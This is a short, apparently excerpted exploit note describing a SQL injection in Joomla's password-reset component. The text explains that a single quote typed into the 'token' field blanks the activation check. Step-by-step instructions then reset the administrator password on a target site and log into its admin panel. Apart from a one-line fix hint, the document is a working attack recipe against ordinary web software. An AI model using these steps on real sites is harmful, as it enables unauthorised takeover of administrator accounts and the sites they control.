{1} – Replace ‘ with empty char
{3} – If you enter ‘ in token field then query will be looks like : “SELECT id FROM jos_users WHERE block = 0 AND activation = ” “
Example :
1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm
2. Write into field “token” char ‘ and Click OK.
3. Write new password for admin
4. Go to url : target.com/administrator/
5. Login admin with new password
